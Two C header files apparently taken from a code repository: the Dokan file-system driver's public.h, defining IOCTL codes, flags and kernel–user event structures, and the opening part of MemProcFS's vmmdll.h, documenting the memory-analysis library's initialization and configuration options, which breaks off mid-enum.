Copyright (C) 2007 - 2011 Hiroki Asakawa http://dokan-dev.github.io This program is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with this program. If not, see . */ #ifndef PUBLIC_H_ #define PUBLIC_H_ #ifndef DOKAN_MAJOR_API_VERSION #define DOKAN_MAJOR_API_VERSION L"2" #include #endif #define DOKAN_DRIVER_VERSION 0x0000190 #define EVENT_CONTEXT_MAX_SIZE (1024 * 32) // This is arbitrary. There isn't really an absolute max, but we marshal it in // a fixed-size buffer. #define VOLUME_SECURITY_DESCRIPTOR_MAX_SIZE (1024 * 16) #define FSCTL_GET_VERSION \ CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS) #define FSCTL_SET_DEBUG_MODE \ CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 0x801, METHOD_BUFFERED, FILE_ANY_ACCESS) #define FSCTL_EVENT_RELEASE \ CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 0x804, METHOD_BUFFERED, FILE_ANY_ACCESS) #define FSCTL_EVENT_START \ CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 0x805, METHOD_BUFFERED, FILE_ANY_ACCESS) #define FSCTL_EVENT_WRITE \ CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 0x806, METHOD_OUT_DIRECT, FILE_ANY_ACCESS) #define FSCTL_RESET_TIMEOUT \ CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 0x80B, METHOD_BUFFERED, FILE_ANY_ACCESS) #define FSCTL_GET_ACCESS_TOKEN \ CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 0x80C, METHOD_BUFFERED, FILE_ANY_ACCESS) #define FSCTL_EVENT_MOUNTPOINT_LIST \ CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 0x80D, METHOD_BUFFERED, FILE_ANY_ACCESS) #define FSCTL_MOUNTPOINT_CLEANUP \ CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 0x80E, METHOD_BUFFERED, FILE_ANY_ACCESS) // DeviceIoControl code to send to a keepalive handle to activate it (see the // documentation for the keepalive flags in the DokanFCB struct). #define FSCTL_ACTIVATE_KEEPALIVE \ CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 0x80F, METHOD_BUFFERED, FILE_ANY_ACCESS) // DeviceIoControl code to send path notification request. #define FSCTL_NOTIFY_PATH \ CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 0x810, METHOD_BUFFERED, FILE_ANY_ACCESS) // DeviceIoControl code to retrieve the VOLUME_METRICS struct for the targeted // volume. #define FSCTL_GET_VOLUME_METRICS \ CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 0x811, METHOD_BUFFERED, FILE_ANY_ACCESS) #define FSCTL_EVENT_PROCESS_N_PULL \ CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 0x812, METHOD_BUFFERED, FILE_ANY_ACCESS) #define DRIVER_FUNC_INSTALL 0x01 #define DRIVER_FUNC_REMOVE 0x02 #define DOKAN_MOUNTED 1 #define DOKAN_USED 2 #define DOKAN_START_FAILED 3 #define DOKAN_DEVICE_MAX 10 #define DOKAN_DEFAULT_SECTOR_SIZE 512 #define DOKAN_DEFAULT_ALLOCATION_UNIT_SIZE 512 #define DOKAN_DEFAULT_DISK_SIZE 1024 * 1024 * 1024 // used in CCB->Flags and FCB->Flags #define DOKAN_FILE_DIRECTORY 1 #define DOKAN_FILE_DELETED 2 #define DOKAN_FILE_OPENED 4 #define DOKAN_DIR_MATCH_ALL 8 #define DOKAN_DELETE_ON_CLOSE 16 #define DOKAN_PAGING_IO 32 #define DOKAN_SYNCHRONOUS_IO 64 #define DOKAN_WRITE_TO_END_OF_FILE 128 #define DOKAN_NOCACHE 256 #define DOKAN_RETRY_CREATE 512 #define DOKAN_EVER_USED_IN_NOTIFY_LIST 1024 #define DOKAN_FILE_CHANGE_LAST_WRITE 2048 // used in DOKAN_START->DeviceType #define DOKAN_DISK_FILE_SYSTEM 0 #define DOKAN_NETWORK_FILE_SYSTEM 1 // Special files that are tagged for specfic FS purpose when their FCB is init. // Note: This file names can no longer be used by userland FS correctly. #define DOKAN_KEEPALIVE_FILE_NAME L"\\__drive_fs_keepalive" #define DOKAN_NOTIFICATION_FILE_NAME L"\\drive_fs_notification" // The minimum FCB garbage collection interval, below which the parameter is // ignored (instantaneous deletion with an interval of 0 is more efficient than // using the machinery with a tight interval). #define MIN_FCB_GARBAGE_COLLECTION_INTERVAL 500 /* * This structure is used for copying UNICODE_STRING from the kernel mode driver * into the user mode driver. * https://msdn.microsoft.com/en-us/library/windows/hardware/ff564879(v=vs.85).aspx */ typedef struct _DOKAN_UNICODE_STRING_INTERMEDIATE { USHORT Length; USHORT MaximumLength; WCHAR Buffer[1]; } DOKAN_UNICODE_STRING_INTERMEDIATE, *PDOKAN_UNICODE_STRING_INTERMEDIATE; /* * This structure is used for sending notify path information from the user mode * driver to the kernel mode driver. See below links for parameter details for * CompletionFilter and Action, and FsRtlNotifyFullReportChange call. * https://msdn.microsoft.com/en-us/library/windows/hardware/ff547026(v=vs.85).aspx * https://msdn.microsoft.com/en-us/library/windows/hardware/ff547041(v=vs.85).aspx */ typedef struct _DOKAN_NOTIFY_PATH_INTERMEDIATE { ULONG CompletionFilter; ULONG Action; USHORT Length; WCHAR Buffer[1]; } DOKAN_NOTIFY_PATH_INTERMEDIATE, *PDOKAN_NOTIFY_PATH_INTERMEDIATE; /* * This structure is used for copying ACCESS_STATE from the kernel mode driver * into the user mode driver. * https://msdn.microsoft.com/en-us/library/windows/hardware/ff538840(v=vs.85).aspx */ typedef struct _DOKAN_ACCESS_STATE_INTERMEDIATE { BOOLEAN SecurityEvaluated; BOOLEAN GenerateAudit; BOOLEAN GenerateOnClose; BOOLEAN AuditPrivileges; ULONG Flags; ACCESS_MASK RemainingDesiredAccess; ACCESS_MASK PreviouslyGrantedAccess; ACCESS_MASK OriginalDesiredAccess; // Offset from the beginning of this structure to a SECURITY_DESCRIPTOR // if 0 that means there is no security descriptor ULONG SecurityDescriptorOffset; // Offset from the beginning of this structure to a // DOKAN_UNICODE_STRING_INTERMEDIATE ULONG UnicodeStringObjectNameOffset; // Offset from the beginning of this structure to a // DOKAN_UNICODE_STRING_INTERMEDIATE ULONG UnicodeStringObjectTypeOffset; } DOKAN_ACCESS_STATE_INTERMEDIATE, *PDOKAN_ACCESS_STATE_INTERMEDIATE; typedef struct _DOKAN_ACCESS_STATE { BOOLEAN SecurityEvaluated; BOOLEAN GenerateAudit; BOOLEAN GenerateOnClose; BOOLEAN AuditPrivileges; ULONG Flags; ACCESS_MASK RemainingDesiredAccess; ACCESS_MASK PreviouslyGrantedAccess; ACCESS_MASK OriginalDesiredAccess; PSECURITY_DESCRIPTOR SecurityDescriptor; UNICODE_STRING ObjectName; UNICODE_STRING ObjectType; } DOKAN_ACCESS_STATE, *PDOKAN_ACCESS_STATE; /* * This structure is used for copying IO_SECURITY_CONTEXT from the kernel mode * driver into the user mode driver. * https://msdn.microsoft.com/en-us/library/windows/hardware/ff550613(v=vs.85).aspx */ typedef struct _DOKAN_IO_SECURITY_CONTEXT_INTERMEDIATE { DOKAN_ACCESS_STATE_INTERMEDIATE AccessState; ACCESS_MASK DesiredAccess; } DOKAN_IO_SECURITY_CONTEXT_INTERMEDIATE, *PDOKAN_IO_SECURITY_CONTEXT_INTERMEDIATE; typedef struct _DOKAN_IO_SECURITY_CONTEXT { DOKAN_ACCESS_STATE AccessState; ACCESS_MASK DesiredAccess; } DOKAN_IO_SECURITY_CONTEXT, *PDOKAN_IO_SECURITY_CONTEXT; typedef struct _CREATE_CONTEXT { DOKAN_IO_SECURITY_CONTEXT_INTERMEDIATE SecurityContext; ULONG FileAttributes; ULONG CreateOptions; ULONG ShareAccess; ULONG FileNameLength; // Offset from the beginning of this structure to the string ULONG FileNameOffset; } CREATE_CONTEXT, *PCREATE_CONTEXT; typedef struct _CLEANUP_CONTEXT { ULONG FileNameLength; WCHAR FileName[1]; } CLEANUP_CONTEXT, *PCLEANUP_CONTEXT; typedef struct _CLOSE_CONTEXT { ULONG FileNameLength; WCHAR FileName[1]; } CLOSE_CONTEXT, *PCLOSE_CONTEXT; typedef struct _DIRECTORY_CONTEXT { ULONG FileInformationClass; ULONG FileIndex; ULONG BufferLength; ULONG DirectoryNameLength; ULONG SearchPatternLength; ULONG SearchPatternOffset; WCHAR DirectoryName[1]; WCHAR SearchPatternBase[1]; } DIRECTORY_CONTEXT, *PDIRECTORY_CONTEXT; typedef struct _READ_CONTEXT { LARGE_INTEGER ByteOffset; ULONG BufferLength; ULONG FileNameLength; WCHAR FileName[1]; } READ_CONTEXT, *PREAD_CONTEXT; typedef struct _WRITE_CONTEXT { LARGE_INTEGER ByteOffset; ULONG BufferLength; ULONG BufferOffset; ULONG RequestLength; ULONG FileNameLength; WCHAR FileName[2]; // "2" means to keep last null of contents to write } WRITE_CONTEXT, *PWRITE_CONTEXT; typedef struct _FILEINFO_CONTEXT { ULONG FileInformationClass; ULONG BufferLength; ULONG FileNameLength; WCHAR FileName[1]; } FILEINFO_CONTEXT, *PFILEINFO_CONTEXT; typedef struct _SETFILE_CONTEXT { ULONG FileInformationClass; ULONG BufferLength; ULONG BufferOffset; ULONG FileNameLength; WCHAR FileName[1]; } SETFILE_CONTEXT, *PSETFILE_CONTEXT; typedef struct _VOLUME_CONTEXT { ULONG FsInformationClass; ULONG BufferLength; } VOLUME_CONTEXT, *PVOLUME_CONTEXT; typedef struct _LOCK_CONTEXT { LARGE_INTEGER ByteOffset; LARGE_INTEGER Length; ULONG Key; ULONG FileNameLength; WCHAR FileName[1]; } LOCK_CONTEXT, *PLOCK_CONTEXT; typedef struct _FLUSH_CONTEXT { ULONG FileNameLength; WCHAR FileName[1]; } FLUSH_CONTEXT, *PFLUSH_CONTEXT; typedef struct _UNMOUNT_CONTEXT { WCHAR DeviceName[64]; ULONG Option; } UNMOUNT_CONTEXT, *PUNMOUNT_CONTEXT; typedef struct _SECURITY_CONTEXT { SECURITY_INFORMATION SecurityInformation; ULONG BufferLength; ULONG FileNameLength; WCHAR FileName[1]; } SECURITY_CONTEXT, *PSECURITY_CONTEXT; typedef struct _SET_SECURITY_CONTEXT { SECURITY_INFORMATION SecurityInformation; ULONG BufferLength; ULONG BufferOffset; ULONG FileNameLength; WCHAR FileName[1]; } SET_SECURITY_CONTEXT, *PSET_SECURITY_CONTEXT; typedef struct _EVENT_CONTEXT { ULONG Length; ULONG MountId; ULONG SerialNumber; ULONG ProcessId; UCHAR MajorFunction; UCHAR MinorFunction; ULONG Flags; ULONG FileFlags; ULONG64 Context; union { DIRECTORY_CONTEXT Directory; READ_CONTEXT Read; WRITE_CONTEXT Write; FILEINFO_CONTEXT File; CREATE_CONTEXT Create; CLOSE_CONTEXT Close; SETFILE_CONTEXT SetFile; CLEANUP_CONTEXT Cleanup; LOCK_CONTEXT Lock; VOLUME_CONTEXT Volume; FLUSH_CONTEXT Flush; UNMOUNT_CONTEXT Unmount; SECURITY_CONTEXT Security; SET_SECURITY_CONTEXT SetSecurity; } Operation; } EVENT_CONTEXT, *PEVENT_CONTEXT; // The output from IOCTL_GET_VOLUME_METRICS. typedef struct _VOLUME_METRICS { ULONG64 NormalFcbGarbageCollectionCycles; // A "cycle" can consist of multiple "passes". ULONG64 NormalFcbGarbageCollectionPasses; ULONG64 ForcedFcbGarbageCollectionPasses; ULONG64 FcbAllocations; ULONG64 FcbDeletions; // A "cancellation" is when a single FCB's garbage collection gets canceled. ULONG64 FcbGarbageCollectionCancellations; // Number of IRPs with a too large buffer that could not be registered for // being forward to userland. ULONG64 LargeIRPRegistrationCanceled; } VOLUME_METRICS, *PVOLUME_METRICS; #define WRITE_MAX_SIZE \ (EVENT_CONTEXT_MAX_SIZE - sizeof(EVENT_CONTEXT) - 256 * sizeof(WCHAR)) #define DOKAN_EVENT_INFO_MIN_BUFFER_SIZE 8 #define DOKAN_EVENT_INFO_DEFAULT_BUFFER_SIZE (1024 * 4) typedef struct _EVENT_INFORMATION { ULONG SerialNumber; NTSTATUS Status; ULONG Flags; union { struct { ULONG Index; } Directory; struct { ULONG Flags; ULONG Information; } Create; struct { LARGE_INTEGER CurrentByteOffset; } Read; struct { LARGE_INTEGER CurrentByteOffset; } Write; struct { UCHAR DeleteOnClose; } Delete; struct { ULONG Timeout; } ResetTimeout; struct { HANDLE Handle; } AccessToken; } Operation; ULONG64 Context; ULONG BufferLength; ULONG PullEventTimeoutMs; UCHAR Buffer[DOKAN_EVENT_INFO_MIN_BUFFER_SIZE]; } EVENT_INFORMATION, *PEVENT_INFORMATION; // By default we pool EVENT_INFORMATION objects with a 4k buffer (1 page) as most read/writes are this size // or smaller #define DOKAN_EVENT_INFO_DEFAULT_SIZE \ (FIELD_OFFSET(EVENT_INFORMATION, Buffer) + \ DOKAN_EVENT_INFO_DEFAULT_BUFFER_SIZE) // Dokan mount options #define DOKAN_EVENT_ALTERNATIVE_STREAM_ON 1 #define DOKAN_EVENT_WRITE_PROTECT (1 << 1) #define DOKAN_EVENT_REMOVABLE (1 << 2) #define DOKAN_EVENT_MOUNT_MANAGER (1 << 3) #define DOKAN_EVENT_CURRENT_SESSION (1 << 4) #define DOKAN_EVENT_FILELOCK_USER_MODE (1 << 5) // CaseSenitive FileName: NTFS can look to be case-insensitive // but in some situation it can also be case-sensitive : // * NTFS keep the filename casing used during Create internally. // * Open "MyFile" on NTFS can open "MYFILE" if it exists. // * FILE_FLAG_POSIX_SEMANTICS (IRP_MJ_CREATE: SL_CASE_SENSITIVE) // can be used during Create to make the lookup case-sensitive. // * Since Win10, NTFS can have specific directories // case-sensitive / insensitive, even if the device tags says otherwise. // Dokan choose to support case-sensitive or case-insensitive filesystem // but not those NTFS specific scenarios. #define DOKAN_EVENT_CASE_SENSITIVE (1 << 6) // Enables unmounting of network drives via file explorer #define DOKAN_EVENT_ENABLE_NETWORK_UNMOUNT (1 << 7) #define DOKAN_EVENT_DISPATCH_DRIVER_LOGS (1 << 8) #define DOKAN_EVENT_ALLOW_IPC_BATCHING (1 << 9) #define DOKAN_EVENT_DRIVE_LETTER_IN_USE (1 << 10) // Non-exclusive bits that can be set in EVENT_DRIVER_INFO.Flags for the driver // to send back extra info about what happened during a mount attempt, whether // or not it succeeded. // The volume arrival notification did not trigger mounting as expected, so an // explicit request was made to the mount manager. #define DOKAN_DRIVER_INFO_MOUNT_FORCED 1 // Dokan did not specify a preferred drive letter in response to the suggested // link name query from the mount manager. This happens if we know the preferred // drive letter is in use, and want the mount manager to select one. #define DOKAN_DRIVER_INFO_AUTO_ASSIGN_REQUESTED 2 // Dokan unmounted and then reused the preferred drive letter, because it was // determined to be another dokan drive owned by the same Windows user. #define DOKAN_DRIVER_INFO_OLD_DRIVE_UNMOUNTED 4 // Dokan determined that the preferred drive letter was in use by a dokan drive // owned by a different Windows user. If this is set, then // DOKAN_DRIVER_INFO_AUTO_ASSIGNED is also set. #define DOKAN_DRIVER_INFO_OLD_DRIVE_LEFT_MOUNTED 8 // The dokan driver is returning a mount response to the DLL before the mount // manager has actually assigned a drive letter. We are not sure if this ever // happens; if so, it should be very rare. #define DOKAN_DRIVER_INFO_NO_MOUNT_POINT_ASSIGNED 16 // Dokan failed to set the reparse point for the mount point folder provided. #define DOKAN_DRIVER_INFO_SET_REPARSE_POINT_FAILED 32 typedef struct _EVENT_DRIVER_INFO { ULONG DriverVersion; ULONG Status; ULONG Flags; ULONG DeviceNumber; ULONG MountId; WCHAR DeviceName[64]; WCHAR ActualDriveLetter; } EVENT_DRIVER_INFO, *PEVENT_DRIVER_INFO; typedef struct _EVENT_START { ULONG UserVersion; ULONG DeviceType; ULONG Flags; WCHAR MountPoint[260]; WCHAR UNCName[64]; ULONG IrpTimeout; ULONG FcbGarbageCollectionIntervalMs; ULONG VolumeSecurityDescriptorLength; CHAR VolumeSecurityDescriptor[VOLUME_SECURITY_DESCRIPTOR_MAX_SIZE]; } EVENT_START, *PEVENT_START; #ifdef _MSC_VER #pragma warning(push) #pragma warning(disable : 4201) #endif typedef struct _DOKAN_RENAME_INFORMATION { #if (_WIN32_WINNT >= _WIN32_WINNT_WIN10_RS1) union { BOOLEAN ReplaceIfExists; // FileRenameInformation ULONG Flags; // FileRenameInformationEx } DUMMYUNIONNAME; #else BOOLEAN ReplaceIfExists; #endif ULONG FileNameLength; WCHAR FileName[1]; } DOKAN_RENAME_INFORMATION, *PDOKAN_RENAME_INFORMATION; #ifdef _MSC_VER #pragma warning(pop) #endif typedef struct _DOKAN_LINK_INFORMATION { BOOLEAN ReplaceIfExists; ULONG FileNameLength; WCHAR FileName[1]; } DOKAN_LINK_INFORMATION, *PDOKAN_LINK_INFORMATION; /** * \struct DOKAN_MOUNT_POINT_INFO * \brief Dokan Mount point information */ typedef struct _DOKAN_MOUNT_POINT_INFO { /** File System Type */ ULONG Type; /** Mount point. Can be "M:\" (drive letter) or "C:\mount\dokan" (path in NTFS) */ WCHAR MountPoint[MAX_PATH]; /** UNC name used for network volume */ WCHAR UNCName[64]; /** Disk Device Name */ WCHAR DeviceName[64]; /** Session ID of calling process */ ULONG SessionId; /** Contains information about the flags on the mount */ ULONG MountOptions; } DOKAN_MOUNT_POINT_INFO, *PDOKAN_MOUNT_POINT_INFO; // Dokan Major IRP values dispatched to userland for custom request with // EVENT_CONTEXT. #define DOKAN_IRP_LOG_MESSAGE 0x20 // Driver log message disptached during DOKAN_IRP_LOG_MESSAGE event. typedef struct _DOKAN_LOG_MESSAGE { ULONG MessageLength; CHAR Message[1]; } DOKAN_LOG_MESSAGE, *PDOKAN_LOG_MESSAGE; #endif // PUBLIC_H_ ``` `includes/vmmdll.h`: ```h // vmmdll.h : header file to include in projects that use vmm.dll / vmm.so // // Please also consult the guide at: https://github.com/ufrisk/MemProcFS/wiki // // U/W functions // ============= // Windows may access both UTF-8 *U and Wide-Char *W versions of functions // while Linux may only access UTF-8 versions. Some functionality may also // be degraded or unavailable on Linux. // // (c) Ulf Frisk, 2018-2026 // Author: Ulf Frisk, pcileech@frizk.net // // Header Version: 5.16.5 // #include "leechcore.h" #ifndef __VMMDLL_H__ #define __VMMDLL_H__ #ifdef __cplusplus extern "C" { #endif /* __cplusplus */ #ifdef _WIN32 #include #undef EXPORTED_FUNCTION #define EXPORTED_FUNCTION typedef unsigned __int64 QWORD, *PQWORD; #endif /* _WIN32 */ #if defined(LINUX) || defined(MACOS) #include #include #include #undef EXPORTED_FUNCTION #define EXPORTED_FUNCTION __attribute__((visibility("default"))) typedef void VOID, *PVOID, *HANDLE, **PHANDLE, *HMODULE; typedef long long unsigned int QWORD, *PQWORD, ULONG64, *PULONG64; typedef size_t SIZE_T, *PSIZE_T; typedef uint64_t FILETIME, *PFILETIME; typedef uint32_t DWORD, *PDWORD, *LPDWORD, BOOL, *PBOOL, NTSTATUS; typedef uint16_t WORD, *PWORD; typedef uint8_t BYTE, *PBYTE, *LPBYTE, UCHAR; typedef char CHAR, *PCHAR, *LPSTR; typedef const char *LPCSTR; typedef uint16_t WCHAR, *PWCHAR, *LPWSTR; typedef const uint16_t *LPCWSTR; #define MAX_PATH 260 #define _In_ #define _In_z_ #define _In_opt_ #define _In_reads_(x) #define _In_reads_bytes_(x) #define _In_reads_opt_(x) #define _Inout_ #define _Inout_bytecount_(x) #define _Inout_opt_ #define _Inout_updates_opt_(x) #define _Out_ #define _Out_opt_ #define _Out_writes_(x) #define _Out_writes_bytes_opt_(x) #define _Out_writes_opt_(x) #define _Out_writes_to_(x,y) #define _When_(x,y) #define _Frees_ptr_opt_ #define _Post_ptr_invalid_ #define _Check_return_opt_ #define _Printf_format_string_ #define _Success_(x) #endif /* LINUX || MACOS */ typedef struct tdVMM_HANDLE *VMM_HANDLE; typedef struct tdVMMVM_HANDLE *VMMVM_HANDLE; typedef BYTE OPAQUE_OB_HEADER[0x40]; //----------------------------------------------------------------------------- // INITIALIZATION FUNCTIONALITY BELOW: // Choose one way of initializing the VMM / MemProcFS. //----------------------------------------------------------------------------- /* * Initialize VMM.DLL with command line parameters. For a more detailed info * about the parameters please see github wiki for MemProcFS and LeechCore. * NB! LeechCore initialization parameters are _also_ valid to this function. * Important parameters are: * -printf = show printf style outputs. * -v -vv -vvv = extra verbosity levels. * -device = device as on format for LeechCore - please see leechcore.h or * Github documentation for additional information. Some values * are: , fpga, usb3380, hvsavedstate, totalmeltdown, pmem * -remote = remote LeechCore instance - please see leechcore.h or Github * documentation for additional information. * -norefresh = disable background refreshes (even if backing memory is * volatile memory). * -memmap = specify a physical memory map given by file or specify 'auto'. * example: -memmap c:\\temp\\my_custom_memory_map.txt * example: -memmap auto * -pagefile[0-9] = page file(s) to use in addition to physical memory. * Normally pagefile.sys have index 0 and swapfile.sys index 1. * Page files are in constant flux - do not use if time diff * between memory dump and page files are more than few minutes. * Example: 'pagefile0 swapfile.sys' * -disable-python = prevent the python plugin sub-system from loading. * -disable-symbolserver = disable symbol server until user change. * This parameter will take precedence over registry settings. * -disable-symbols = disable symbol lookups from .pdb files. * -disable-infodb = disable the infodb and any symbol lookups via it. * -waitinitialize = Wait for initialization to complete before returning. * Normal use is that some initialization is done asynchronously * and may not be completed when initialization call is completed. * This includes virtual memory compression, registry and more. * Example: '-waitinitialize' * -userinteract = allow vmm.dll to, on the console, query the user for * information such as, but not limited to, leechcore device options. * Default: user interaction = disabled. * -vm = virtual machine (VM) parsing. * -vm-basic = virtual machine (VM) parsing (physical memory only). * -vm-nested = virtual machine (VM) parsing (including nested VMs). * -forensic-yara-rules = perfom a forensic yara scan with specified rules. * Full path to source or compiled yara rules should be specified. * Example: -forensic-yara-rules "C:\Temp\my_yara_rules.yar" * -forensic = start a forensic scan of the physical memory immediately after * startup if possible. Allowed parameter values range from 0-4. * Note! forensic mode is not available for live memory. * 1 = forensic mode with in-memory sqlite database. * 2 = forensic mode with temp sqlite database deleted upon exit. * 3 = forensic mode with temp sqlite database remaining upon exit. * 4 = forensic mode with static named sqlite database (vmm.sqlite3). * Example -forensic 4 * * -- argc * -- argv * -- ppLcErrorInfo = optional pointer to receive a function allocated memory of * struct LC_CONFIG_ERRORINFO with extended error information upon * failure. Any memory received should be free'd by caller by * calling LcMemFree(). * -- return = VMM_HANDLE on success for usage in subsequent API calls. NULL=fail. */ EXPORTED_FUNCTION _Success_(return != NULL) VMM_HANDLE VMMDLL_Initialize(_In_ DWORD argc, _In_ LPCSTR argv[]); EXPORTED_FUNCTION _Success_(return != NULL) VMM_HANDLE VMMDLL_InitializeEx(_In_ DWORD argc, _In_ LPCSTR argv[], _Out_opt_ PPLC_CONFIG_ERRORINFO ppLcErrorInfo); /* * Close an instantiated version of VMM_HANDLE and free up any resources. * -- hVMM */ EXPORTED_FUNCTION VOID VMMDLL_Close(_In_opt_ _Post_ptr_invalid_ VMM_HANDLE hVMM); /* * Close all instantiated versions of VMM_HANDLE and free up all resources. */ EXPORTED_FUNCTION VOID VMMDLL_CloseAll(); /* * Query the size of memory allocated by the VMMDLL. * -- pvMem * -- return = number of bytes required to hold memory allocation. */ EXPORTED_FUNCTION _Success_(return != 0) SIZE_T VMMDLL_MemSize(_In_ PVOID pvMem); /* * Free memory allocated by the VMMDLL. * -- pvMem */ EXPORTED_FUNCTION VOID VMMDLL_MemFree(_Frees_ptr_opt_ PVOID pvMem); //----------------------------------------------------------------------------- // CONFIGURATION SETTINGS BELOW: // Configure MemProcFS or the underlying memory // acquisition devices. //----------------------------------------------------------------------------- /* * Options used together with the functions: VMMDLL_ConfigGet & VMMDLL_ConfigSet * Options are defined with either: VMMDLL_OPT_* in this header file or as * LC_OPT_* in leechcore.h * For more detailed information check the sources for individual device types. */ #define VMMDLL_OPT_CORE_PRINTF_ENABLE 0x4000000100000000 // RW #define VMMDLL_OPT_CORE_VERBOSE 0x4000000200000000 // RW #define VMMDLL_OPT_CORE_VERBOSE_EXTRA 0x4000000300000000 // RW #define VMMDLL_OPT_CORE_VERBOSE_EXTRA_TLP 0x4000000400000000 // RW #define VMMDLL_OPT_CORE_MAX_NATIVE_ADDRESS 0x4000000800000000 // R #define VMMDLL_OPT_CORE_LEECHCORE_HANDLE 0x4000001000000000 // R - underlying leechcore handle (do not close). #define VMMDLL_OPT_CORE_VMM_ID 0x4000002000000000 // R - use with startup option '-create-from-vmmid' to create a thread-safe duplicate VMM instance. #define VMMDLL_OPT_CORE_SYSTEM 0x2000000100000000 // R #define VMMDLL_OPT_CORE_MEMORYMODEL 0x2000000200000000 // R #define VMMDLL_OPT_CONFIG_IS_REFRESH_ENABLED 0x2000000300000000 // R - 1/0 #define VMMDLL_OPT_CONFIG_TICK_PERIOD 0x2000000400000000 // RW - base tick period in ms #define VMMDLL_OPT_CONFIG_READCACHE_TICKS 0x2000000500000000 // RW - memory cache validity period (in ticks) #define VMMDLL_OPT_CONFIG_TLBCACHE_TICKS 0x2000000600000000 // RW - page table (tlb) cache validity period (in ticks) #define VMMDLL_OPT_CONFIG_PROCCACHE_TICKS_PARTIAL 0x2000000700000000 // RW - process refresh (partial) period (in ticks) #define VMMDLL_OPT_CONFIG_PROCCACHE_TICKS_TOTAL 0x2000000800000000 // RW - process refresh (full) period (in ticks) #define VMMDLL_OPT_CONFIG_VMM_VERSION_MAJOR 0x2000000900000000 // R #define VMMDLL_OPT_CONFIG_VMM_VERSION_MINOR 0x2000000A00000000 // R #define VMMDLL_OPT_CONFIG_VMM_VERSION_REVISION 0x2000000B00000000 // R #define VMMDLL_OPT_CONFIG_STATISTICS_FUNCTIONCALL 0x2000000C00000000 // RW - enable function call statistics (.status/statistics_fncall file) #define VMMDLL_OPT_CONFIG_IS_PAGING_ENABLED 0x2000000D00000000 // RW - 1/0 #define VMMDLL_OPT_CONFIG_DEBUG 0x2000000E00000000 // W #define VMMDLL_OPT_CONFIG_YARA_RULES 0x2000000F00000000 // R #define VMMDLL_OPT_WIN_VERSION_MAJOR 0x2000010100000000 // R #define VMMDLL_OPT_WIN_VERSION_MINOR 0x2000010200000000 // R #define VMMDLL_OPT_WIN_VERSION_BUILD 0x2000010300000000 // R #define VMMDLL_OPT_WIN_SYSTEM_UNIQUE_ID 0x2000010400000000 // R #define VMMDLL_OPT_FORENSIC_MODE 0x2000020100000000 // RW - enable/retrieve forensic mode type [0-4]. // REFRESH OPTIONS: #define VMMDLL_OPT_REFRESH_ALL 0x2001ffff00000000 // W - refresh all caches #define VMMDLL_OPT_REFRESH_FREQ_MEM 0x2001100000000000 // W - refresh memory cache (excl. TLB) [fully] #define VMMDLL_OPT_REFRESH_FREQ_MEM_PARTIAL 0x2001000200000000 // W - refresh memory cache (excl. TLB) [partial 33%/call] #define VMMDLL_OPT_REFRESH_FREQ_TLB 0x2001080000000000 // W - refresh page table (TLB) cache [fully] #define VMMDLL_OPT_REFRESH_FREQ_TLB_PARTIAL 0x2001000400000000 // W - refresh page table (TLB) cache [partial 33%/call] #define VMMDLL_OPT_REFRESH_FREQ_FAST 0x2001040000000000 // W - refresh fast frequency - incl. partial process refresh #define VMMDLL_OPT_REFRESH_FREQ_MEDIUM 0x2001000100000000 // W - refresh medium frequency - incl. full process refresh #define VMMDLL_OPT_REFRESH_FREQ_SLOW 0x2001001000000000 // W - refresh slow frequency. #define VMMDLL_OPT_REFRESH_SPECIFIC_HEAP_ALLOC 0x2003000100000000 // W - refresh only heap allocations. #define VMMDLL_OPT_REFRESH_SPECIFIC_KOBJECT 0x2003000200000000 // W - refresh only kernel objects. #define VMMDLL_OPT_REFRESH_SPECIFIC_NET 0x2003000300000000 // W - refresh only network connections. #define VMMDLL_OPT_REFRESH_SPECIFIC_PFN 0x2003000400000000 // W - refresh only pfn database. #define VMMDLL_OPT_REFRESH_SPECIFIC_PHYSMEMMAP 0x2003000500000000 // W - refresh only physical memory map. #define VMMDLL_OPT_REFRESH_SPECIFIC_POOL 0x2003000600000000 // W - refresh only kernel pool. #define VMMDLL_OPT_REFRESH_SPECIFIC_REGISTRY 0x2003000700000000 // W - refresh only registry. #define VMMDLL_OPT_REFRESH_SPECIFIC_SERVICES 0x2003000800000000 // W - refresh only services. #define VMMDLL_OPT_REFRESH_SPECIFIC_THREADCS 0x2003000900000000 // W - refresh only thread callstacks. #define VMMDLL_OPT_REFRESH_SPECIFIC_USER 0x2003000A00000000 // W - refresh only users. #define VMMDLL_OPT_REFRESH_SPECIFIC_VM 0x2003000B00000000 // W - refresh only virtual machines. #define VMMDLL_OPT_REFRESH_SPECIFIC_PROCESS 0x2002000300000000 // W - refresh only the specified process [LO-DWORD: Process PID] // PROCESS OPTIONS: [LO-DWORD: Process PID] #define VMMDLL_OPT_PROCESS_DTB 0x2002000100000000 // W - force set process directory table base. #define VMMDLL_OPT_PROCESS_DTB_FAST_LOWINTEGRITY 0x2002000200000000 // W - force set process directory table base (fast, low integrity mode, with less checks) - use at own risk!. static LPCSTR VMMDLL_MEMORYMODEL_TOSTRING[5] = { "N/A", "X86", "X86PAE", "X64", "ARM64" }; typedef enum tdVMMDLL_MEMORYMODEL_TP { VMMDLL_MEMORYMODEL_NA = 0, VMMDLL_MEMORYMODEL_X86 = 1, VMMDLL_MEMORYMODEL_X86PAE = 2, VMMDLL_MEMORYMODEL_X64 = 3, VMMDLL_MEMORYMODEL_ARM64 = 4, } VMMDLL_MEMORYMODEL_TP; typedef enum tdVMMDLL_SYSTEM_TP { VMMDLL_SYSTEM_UNKNOWN_PHYSICAL = 0, 